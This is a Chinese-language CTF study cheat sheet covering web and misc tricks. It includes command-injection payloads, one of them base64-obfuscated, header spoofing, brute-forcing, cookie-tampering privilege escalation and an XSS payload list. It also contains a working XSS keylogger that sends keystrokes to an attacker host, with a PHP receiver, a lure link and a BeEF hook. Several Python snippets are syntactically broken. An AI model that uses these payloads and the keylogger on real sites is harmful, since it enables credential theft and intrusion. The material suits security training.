CTF Web和Misc关键点
1.使用 base64 编码命令绕过关键字过滤
进入网址,给出后台php源码,发现是个代码审计的题:
通过参数拼接命令,发现存在任意命令执行漏洞:
进一步查看本路径下的文件:
后台但是过滤了flag关键字,无法直接读取,那么就需要想办法绕过关键字过滤。
使用 bash64 编码命令(cat ./flag.php)进行绕过,最终PayLoad:
?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`
发送请求后查看源码
2.X-Forwarded-For
关键字:本地。
可以使用firefor插件modify headers修改X-Forwarded-For为127.0.0.1。就可以突破这个限制,得到flag。
或者直接截包,增加:
X-Forwarded-For:127.0.0.1
3.暴力破解,注意提示
得到数字0,11,23,45,88,可以看出是数字的升序,来,组合爆破搞起来。
用户名用字典,这里注意密码,选Numbers
然后,这里编码,选hash
MD5
OK,开始爆破
爆破成功,root/ac627ab1ccbdb62ec96e702f07f6425b
使用root密码ac627ab1ccbdb62ec96e702f07f6425b登录获得key
4.命令执行
知识点:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
Command 1 || Command 2
先执行Command 1,执行成功不执行Command 2,Command 1执行不成功,执行Command 2
Command 1 | Command 2
先执行Command 1,不管是否成功,都会执行Command 2
案例:
http://xx.xx.xx.xx/?ip=127.0.0.1%0Als -al
http://xx.xx.xx.xx/?ip=127.0.0.1%0Acat%20flag/flag.php
注意:
%0A是换行
%20是空格
5.查看文件hash值
certutil -hashfile aaaaaaa.txt MD5
6.python 逆序图片脚本
f=open("output.png","wb")
f.write(open("flag.png","rb").read()[::-1])
f.close()
7.十进制转换ASCII码
srt=""
with open("ascii.txt","r") as f
for i in f.readlines():
str == chr(int(i))
print(str)
8.john破解shadow
1).使用默认密码本破解
john test.txt
查看密码
john -show test.txt
2).使用自己密码本破解
john -wordlist=password.lst shadow
9.svn泄露
路径:
.svn/entries
10.dirsearch使用
py dirsearch.py -u 网址 -e 语言(一般用*)
11.pkav爆破
发现验证码是变化的,需要使用pkav
查看页面源码,发现有下载字典的提示
使用此字典用pkav爆破
12.越权
一看这个题给了两个用户,怀疑是越权访问漏洞
尝试test用户登录爆破,随便试了下123456,进去了。。
注意,一开始登录是不带cookie信息的
退出重新登录,截取包有了cookie,记得点击记住登录状态
删除phpseionid,修改用户名为sxy,角色为admin
进入管理员页面
13.XSS
XSS检测
1)常见测试脚本具体如下:
1. <>""xss 可先使用符号进行测试,查看哪些符号被过滤了
2. <script>alert(1)</script>
3.<<script>>alert(1)<</script>>
4.<img src=x onerror=alert(1)> #此语句表示如果图爿访问不到,就会alert弹框
5.“ ><a hRef=javascript:alert(1)>点击触发</a>
6.<iframe src=javascript:alert(1)>
7."><script>alert(1)</script>
8." οnclick="alert(1) #<a href=" onclick=alert('xss')>type</a>
9." onclick=alert(1)//
10.";alert(1);//
11.%0a alert(1);// %0a表示换行符,使用情况如下,注入点被注释了
<script>
// var a = "admin
alert(1);//";
</script>
12." οnclick="alert(1)" type="text 强制修改type类型
13.confirm("确认")
14.prompt("提示")
15.空格/回车/Tab
16.绕过括号
1)·反引号` alert`1`
<script>
eval("alert `1`");
</script>
2)"οnmοuseοver="javascript:window.onerror=alert;throw 1
2)编码绕过
各种无法绕过时,尝试用编码(大写无法绕过)
1.script标签之间,输出在eval()内部
进行unicode编码,\uH 十六进制 \xH 普通十六进制
alert() unicode转码:
\u0061\u006c\u0065\u0072\u0074\u0028\u0029
2.标签属性值HTML编码
�D(十进制) �H(十六进制)
格式:&#(ASCII10进制编码);
格式: &#x(ASCII16进制编码);
alert(),HTML十进制转码: alert() 或者 alert()
alert(),HTML十六进制转码:alert() 或者 alert()
javascript:alert(1) #此处将r替换为ASCII码
题中alert()为HTML十进制和十六进制混合转码
3.在html伪协议中使用url编码
(1)的URL编码:%28%31%29
%号的URL编码:25%
<号的URL编码:3c%
>好的URL编码:3e%
对<>进行URL编码
输入框中:
%3cscript%3ealert(1)%3c/script%3e
BP中:%253cscript%253ealert(1)%253c%252fscript%253e
XSS利用
1.盗取cookie
document.body.innierHTML可以实现对页面的篡改
一般黑客盗取用户cookie时,不会直接将利用cookie的语句发给用户,而是让用户去访问一台肉机的地址,通过肉机返回含有盗取cookie信息的js代码。黑客通过监听肉机的端口,获得用户相关cookie。
2.XSS键盘记录器
(1)keylogger.js
远程js脚本文件,用于点击后访问此文件
keylogger.js//存储在肉机上(或者攻击者机器上)
keylogger.js代码如下:
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if(key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.67.128/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
(2)keylogger.php
用于接收键盘记录后的网站
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
(3)keylog.txt
真正用于保存键盘记录的文件,创建一个keylog.txt的空文件
为避免被引起用户怀疑,可将跳转命令置于html文件中。
前提:用户已经登录网站,获得其cookie信息
#伪造诱人连接{如:限时抢购门票、手机等},转到存在xss漏洞的页面【主要危害为登录页面】,窃取用户登录账号密码
<a href="http://192.168.67.129/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.67.128/keylogger.js'></script>">phone</a>
前一个地址是服务器地址,后一个地址是肉机地址
BEEF
登陆后台管理,管理已被控制的肉机
账号密码:beef
在dvwa中输入
<script src="http://192.168.67.128:3000/hook.js"></script>
在hook后台里中发现
案例
案例一:
Xss 十关答案
案例二:
尝试各种插入,发现<>””均被过滤
BP截取包,发现photo处也可以插入xss
14.jd-gui
可以使用jd-gui进行jar包小程序的反编译:
直接搜索flag
15.利用python进行进制转换
关于Python中几个进制转换的函数使用方法,做一个简单的使用方法的介绍,我们常用的进制转换函数常用的就是int()(其他进制转换到十进制)、bin()(十进制转换到二进制)、oct()(十进制转换到八进制)、hex()(十进制转换到十六进制)。
bin
bin()函数,是将十进制的数字转换成二进制的数字。其中bin()函数中传入的是十进制的数字,数据类型为数字类型。
v = 18
num = bin(v)
print(num)
'''
'0b10010'
'''
oct
oct()函数,是将十进制的数字转换成八进制的数字。其中oct()函数中传入的是十进制的数字,数据类型为数字类型。
v = 30
num = oct(v)
print(num)
'''
'0o36'
'''
int
int()函数,是将其他进制的数字转换成十进制的数字。其中int()函数中转入的第一个参数是需要转换的其他进制的字符串形式的数字,第二个参数是第一参数的进制数,也就是说第一个参数传的是多少进制的数字第二个参数就传个多少,数据类型为数字类型。
# 2 ---> 10v = '0b1111011'
num = int(v, 2)
print(num)
'''
123
'''
# 8 ---> 10
v = '011'
num = int(v, 8)
print(num)
'''
9
'''
# 16 ---> 10
v = '0x12'
num = int(v, 16)
print(num)
'''
18
'''
hex
hex()函数就是将十进制的数字转换成十六进制的数字。其中hex()中需要传入的是十进制的数字,数据类型为数字类型。
v = 87
num = hex(v)
print(num)
'''
'0x57'
'''
除了int()函数以外,其他的几个函数(bin()、oct()、hex())只需要传入一个数据,并且其数据类型都为数字类型。int()函数需要传入两个数据,并且第一个数据的数据类型都为字符串类型,第二个参数为第一个数据对应的进制数。
案例一:
上脚本
str = "c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2"
flag = ""
for i in range(0,len(str),2):
s = "0x"+str[i]+str[i+1]
flag += chr(int(s,16)-128)
print flag
转16进制转为10进制后大于127,ASCII码的范围在(-128~127),所以要减,或者模128
案例二:
打开后发现一堆黑白图片打开文件出现多个黑白,让人联想到二进制,白色图片代表0,黑色图片代表1。
01100110前八位二进制换算后为 f 证明思路正确。
01100110011011000110000101100111011110110100011001110101010011100101111101100111011010010100011001111101
二进制转字符串得到 flag
转换代码
str = "01100110011011000110000101100111011110110100011001110101010011100101111101100111011010010100011001111101"
flag = ""
for i in range(0,len(str),8):
s = str[i:i+8]
flag += chr(int(s,2))
print flag
案例三:
十六进制转义字符是由反斜杠’‘和字母x(或X)及随后的1~2个十六进制数字构成的字符序列。
例如,’\x30’、‘\x41’、‘\X61’分别表示字符’0’、‘A’和’a’。因为字符’0’、'A’和’a’的ASCII码的十六进制值分别为0x30、0x41和0x61。
print '0x61’可以直接打印出对应的ASCII字符。
1.打开页面,查看源代码,可以发现js代码,如图所示。
2.进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode 。
3.先将字符串用python处理一下,得到数组[55,56,54,79,115,69,114,116,107,49,50],exp如下。
string="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print string
4.将得到的数字分别进行ascii处理,可得到字符串786OsErtk12,exp如下。
s = string.split(",")
c = ""
for i in s:
i = chr(int(i))
c = c+i
print(c)
注意:这里由于给定的字符串是\x形式的,需要进行两次ASCII码转换。第一次转换将\x形式的字符串转为为对应的ASCII码值(\x35对应ASCII值5),依次得到一组数组。第二次再将数组对应的十进制值转为ASCII码值。得到最终flag。
16.pdf文件处理方式
1)转换为word看是否存在线索。
2)将文件内容复制在txt文本文档中,看是否存在线索。